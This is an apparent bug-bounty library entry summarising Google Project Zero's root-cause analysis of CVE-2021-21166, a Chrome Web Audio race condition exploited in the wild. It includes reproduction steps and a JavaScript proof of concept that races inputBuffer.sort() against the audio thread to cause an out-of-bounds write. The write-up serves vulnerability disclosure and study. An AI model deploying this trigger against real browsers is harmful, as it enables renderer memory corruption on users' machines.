# CVE-2021-21166: Chrome Object Lifecycle Issue in Audio

Race condition in Chrome ScriptProcessorNode::process() lets main thread sort an audio buffer concurrently with the audio thread, causing out-of-bounds write; exploited as a 0-day.

- Payout: Real-world hack
- Severity: high
- Program: Google Chrome
- Analysis by: Clement Lecigne, Google Threat Analysis Group
- Disclosed: 2021-03-02
- CVE: CVE-2021-21166
- Write-up quality: 7/10
- Original: https://github.com/googleprojectzero/0days-in-the-wild/blob/main/0day-RCAs/2021/CVE-2021-21166.md
- Library page: https://bugbountylibrary.com/r/p0%3ACVE-2021-21166
- Tags: area:os domain:browser impact:integrity impact:rce kind:incident platform:project-zero sev:high tech:chromium technique:chained vuln:memory-corruption vuln:race-condition

**Target:** Chrome ScriptProcessorNode / Web Audio API
**Root cause:** ScriptProcessorNode::process() shares input/output audio buffers between the audio thread and main thread without proper locking, so concurrent access races.
**Steps:**
1. Create AudioContext, ScriptProcessorNode, and a looping AudioBufferSourceNode connected through the node.
2. In onaudioprocess, capture `event.inputBuffer.getChannelData(0)` into a variable, then clear the handler.
3. Start the source and wait ~500ms.
4. Loop calling `inputBuffer.sort()` on the main thread while the audio thread still accesses the same buffer, triggering an out-of-bounds write during std::sort().
**Exploitation:** Zero-day exploited in the wild; the race gives an OOB write primitive in the renderer, most likely chained with a sandbox escape that was not recovered.
**Escalation:** Chained with a sandbox escape (not retrieved) to escape the renderer.
**Insight:** Deprecated-but-shipped web APIs (ScriptProcessorNode) still share buffers across threads; audit onaudioprocess buffer lifetimes for main-thread mutation of audio-thread-owned memory.

## Proof of concept (copied exactly from the original report)

**HTML PoC racing inputBuffer.sort() on audio buffer**

```
let array = new Float32Array(Array(256));
          let context = new AudioContext();
          let node = context.createScriptProcessor();
          let source = context.createBufferSource();
          let buffer = context.createBuffer(1, 1024, context.sampleRate);
          let data = buffer.getChannelData(0);
          data.set(array);
          source.buffer = buffer;
          source.loop = true;
          source.connect(node);
          node.connect(context.destination);
          let inputBuffer = null;
          node.onaudioprocess = (event) => {
              inputBuffer = event.inputBuffer.getChannelData(0);
              node.onaudioprocess = undefined;
          }
          source.start();
          await sleep(500);
          while(true) {
            // not thread safe on non-shared arrays
            inputBuffer.sort()
          }
      }
```

